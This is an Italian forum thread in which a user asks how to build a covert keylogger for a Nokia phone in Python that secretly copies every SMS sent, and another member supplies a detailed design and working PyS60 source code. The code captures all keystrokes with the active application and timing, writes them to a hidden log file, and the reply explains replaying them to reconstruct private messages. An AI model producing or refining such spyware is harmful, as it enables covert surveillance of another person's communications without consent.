Jump to content
Nokioteca Forum

Keylogger.. Con Python..


r0ni3
 Share

Recommended Posts

comincio subito dicendo che nn è una richiesta ... b)

voglio provarci da solo..o almeno con l'aiuto di qualcuno (certo se è gia fatto sarebbe meglio b))

volevo creare un keylogger... piu che loggare i tasti mi servirebbe che mi copiasse tutti gli sms inviati..senza che nessuno si accorgesse di nulla..

cercando nei vari tutorial ho trovato :

#keycapture.all_keys setta il controllo di TUTTI i tasti... usarlo attentamente dato che praticamente poi si controlla tutti i

#tasti dal programma, quindi bisogna riprogrammare eventuale tasto Exit e tasto menu... io consiglio di catturare solo i

#tasti che si vuole davvero controllare...

però cosi non mi loggherebbe il testo del messaggio..ma soltanto i tasti premuti

esempio :

ciao --> 222 444 2 2 .. b) o peggio...se c'è il t9 inserito 2242...

cosa mi consigliate di fare?

ciao e grazie

Link to comment
Condividi su altri siti

A cosa ti server creare un keylogger? vuoi spiare con chi ti tradisce la tua ragazza? asdasd..

scherzo ^^

a parte questo, e a parte che non mi interessa questo progetto.. cmq sia analizziamo punto per punto il programma che vorresti realizzare..

keylogger..

perfetto il primo passo è quello di registrare tutti i tasti premuti dal cellulare... e fino a qui non è difficile, c'è il modulo keycapture (ricordati di settare la proprietà forwarding dell'oggetto keycapture a 1 altrimenti i tasti che intercetta il python nn te li fa usare dal cell.. te li blocca xD)

il secondo passo è di vedere dove sono stati digitati quei tasti.. su che applicazione.. sul task phone (probabilmente starà chiamando qualcuno), sul task mce (quello dei messaggi), starà scrivendo un msg.. e cosi via.. controllando istante per istante su che task sta digitando i tasti, puoi capire orientativamente cosa sta facendo, manda un msg, fa una chiamata o altro...

ora se ti interessa fare un keylogger per leggere i msg che quel cellulare sta scrivendo, è un tantino piu complicato, dato che come hai detto tu, le lettere e cmq il testo in generale verrebbe salvato con una sequenza di numeri... però FORSE un qualche cosa si potrebbe provare a fare...

esaminiamo i casi in cui si manda un msg:

- scrittura veloce:

in questo caso, potresti ipoteticamente, salvare la sequenza di tasti, e poi per tentare di decodificarla, fai un programma a parte che, ti apre un campo TEXT (tipo quello dei msg) sullo schermo, poi setti a mano la scrittura veloce, e fai una funzione che magari attivata dal menu, incomincia simularti la pressione dei tasti registrati uno dopo l'altro (con il modulo keypress), magari cn qlk tempo di delay (distacco) (e32.ao_sleep(0.1) -> 100ms o magari anche meno..).. in questo modo IPOTETICAMENTE dovresti poter ricostruire il messaggio che il keylogger ha registrato...

-scrittura normale:

a differenza della scrittura veloce, qui è un pò + complesso, poichè devi tener conto anche della distanza con cui sono premuti i tasti 1 dall'altro.. xkè se premo 2 volte il tasto 2 quasi nello stesso istante, nel msg appare "b" mentre se premo 2 volte il tasto 2 nell'arco di mezzo secondo/1 secondo (non so a che tempo si ripristina il contatore x cambiare la lettera), mi scriverà "aa"...

quindi qui è + complesso dato che devi realizzare un contatore di tempo, magari potresti provare a salvare il tasto premuto e il tempo che il cell ci ha impiegato per poi digitare un altro tasto (realizzabile con un timer + un contatore da azzerare ogni qual volta si digiti un altro tasto..) e poi quando vai a simulare i tasti, simuli il tasto premuto e poi con e32.ao_sleep(tempo), come tempo metti il tempo che hai registrato con il timer nel programma..

-scrittura "ibrida":

questo è il caso + difficile.. io posso scrivere un msg anche cambiando da scrittura veloce a scrittura normale, e qui dovresti tipo registrarti le volte che è premuto il tasto # per capire quando il cell switcha da scrittura veloce a scrittura normale... anche se pensandoci, in teoria se simuli tutti i tasti il # te lo preme da solo, e switcha da solo da veloce a normale, o viceversa, in questo caso dovresti solo capire se ha iniziato a scrivere con scrittura veloce o normale.. il che non dovrebbe essere difficile, con la scrittura veloce dovresti registrare tempi di delay (distacco) tra la pressione di 1 tasto e l'altro, molto bassi rispetto alla scrittura normale xD

buona fortuna b)

EDIT:

facendo un piccolo riassunto, per tentare di realizzarlo, dovresti registrare

TASTO PREMUTO

TEMPO DI DISTANZA DAL TASTO CHE SEGUE

NUOVO TASTO PREMUTO

se riesci a fare questo, basterà che poi nel campo text fai queste operazioni:

keypress.simulate_key(keytasto,keytasto)

e32.ao_sleep(TEMPO)

keypress.simulate_key(keynewtasto,keynewtasto)

simulando quindi il tasto premuto, il tempo che segue dal tasto premuto successivamente, simulando il tasto che segue ecc.. fino a quando non simula tutto ciò che il keylogger ha registrato b)

registrando magari un file di questo tipo:

tasto

tempo

tasto

tempo

tasto

tempo

ecc..

poi quando lo vai a leggere, scorrendo il file come un array gli fai simulare passo passo tutto, controllando che se di indice pari (l'array parte da 0) allora simula il tasto, se è indice dispari, allora esegui la funzione e32.ao_sleep con il tempo registrato..

dovresti registrare in pratica passo passo tutte i tasti e i tempi di distacco tra un tasto e l'altro per poi riprodurle identiche sul tuo cellulare, e ricostruire cosi il tutto ;)

PS: poi voglio capire quanto ci hai capito da 1 a 10 xD

Modificato da dokkis
Link to comment
Condividi su altri siti

Minkia, Dok.

E che è, un trattato di spionaggio industriale.

Secondo me è difficile da realizzare soprattutto per la decodifica di quello che registra.

Inoltre dovrebbe essere specifico per un cell e magari per un firmware (che so, la versione xx.xx.xx ha un carattere in più nel tasto 1 e la versione inglese del cell ha 2 lettere in più sul tasto a, mentre le lettere del tasto a del 6600 sono diverse dal n70).

Fa prima a mettere una microspia addosso. b)

Link to comment
Condividi su altri siti

Minkia, Dok.

E che è, un trattato di spionaggio industriale.

Secondo me è difficile da realizzare soprattutto per la decodifica di quello che registra.

Inoltre dovrebbe essere specifico per un cell e magari per un firmware (che so, la versione xx.xx.xx ha un carattere in più nel tasto 1 e la versione inglese del cell ha 2 lettere in più sul tasto a, mentre le lettere del tasto a del 6600 sono diverse dal n70).

Fa prima a mettere una microspia addosso. b)

ovviamente non potrà mai avere un programma perfetto.. xò in linea di massima potrebbe provare a realizzarlo cosi, magari non riproduce il messaggio in modo perfetto, ma in molti casi ci si può avvicinare o cmq capirne il senso xD...

ah.. se ti interessa ti ho abbozzato qualcosa...

import keycapture, e32, appswitch

def writelog():
....global logarr
....temparr=logarr
....logarr=[]
....f=open(keyloggerfile,'a')
....for item in temparr:
........count=str(item[0])
........key=str(item[1])
........activetask=str(item[2])
........f.write(count+"\r\n")
........f.write(key+"\r\n")
........f.write(activetask+"\r\n")
....f.close()
....temparr=[]

def cb_capture(key):
....global count, activetask
....logarr.append([count,key,activetask])
....count=0....

def Contatore():
....global count,count2,timer,activetask, logarr
....activetask=appswitch.application_list(1)[0]
....count+=0.1
....count2+=0.1
....if(int(count2)==30):
........if(len(logarr)>0):
............writelog()
........count2=0
....timer.after(0.1,Contatore)

def Exit():
....writelog()
....appuifw.app.set_exit()
....lock.signal()

lock=e32.Ao_lock()
logarr=[]
count=0
count2=0
timer=e32.Ao_timer()
keyloggerfile="e:\\keylogger.txt"
capturer = keycapture.KeyCapturer(cb_capture)
capturer.keys = keycapture.all_keys
capturer.forwarding=1
capturer.start()
appuifw.app.exit_key_handler = Exit
Contatore()
lock.wait()

sostituisci con blocco note .... con qualche spazio.. mettine 4 xD

questo pezzo di codice appena fatto non fa altro che scrivere ogni 30 secondi e ad ogni uscita dell'app:

tutti i tasti digitati con il relativo task di dove è stato premuto.. e il distacco (nell'ordine dei secondi, 0.1=100ms) tra il tasto digitato precedentemente e quello ora digitato..

si ha un file di questo tipo

tempo

tasto

task

per riprodurre l'effetto che quei tasti hanno riprodotto, si dovrebbe fare una specie di simulatore che:

scorre tutto il file e fa tutte quelle operazioni in automatico...

- riproduce il delay e32.ao_sleep(tempo) con un controllo che se magari è + alto di tot secondi da uno sleep massimo di tipo 5 secondi.. (perchè tipo se il telefono è stato inattivo metti x diversi minuti dovresti aspettare questi minuti.. mentre se imposti un delay massimo almeno vedi tutte le operazioni 1 di seguito all'altra..)

- si porta sul task dove è stato premuto il tasto: appswitch.switch_to_foreground(unicode(task)) #magari fai in modo di riprodurre solo i tasti che avvengono nel task mce che sono quelli dei messaggi, cercando quindi di ricostruire il msg in qlk modo.. oppure nel keylogger fai scrivere su testo solo i tasti premuti in determinati task che decidi e ti interessano.. task messaggi o altro ^^

- simula la pressione del tasto.. keypress.simulate_key(tasto,tasto)

PS: per farlo partire devi installarti il modulo appswitch xD

Modificato da dokkis
Link to comment
Condividi su altri siti

praticamente ho capito tutto... quasi tutto :blink:

però diventa pallosissimo un simulatore per capire cosa ha scritto..

servirebbe un qualcosa di piu immediato..

avete presente message store? per esempio un programma tipo quello...che appena inviato un sms lo esporta subito su un file txt...

anche se nn penso sia di facile realizzazione x un neofita come me b)

Link to comment
Condividi su altri siti

Please sign in to comment

You will be able to leave a comment after signing in



Accedi Ora
 Share

×
×
  • Crea Nuovo...

Informazione Importante

Questo sito utilizza i cookie per analisi, contenuti personalizzati e pubblicità. Continuando la navigazione, accetti l'utilizzo dei cookie da parte nostra | Privacy Policy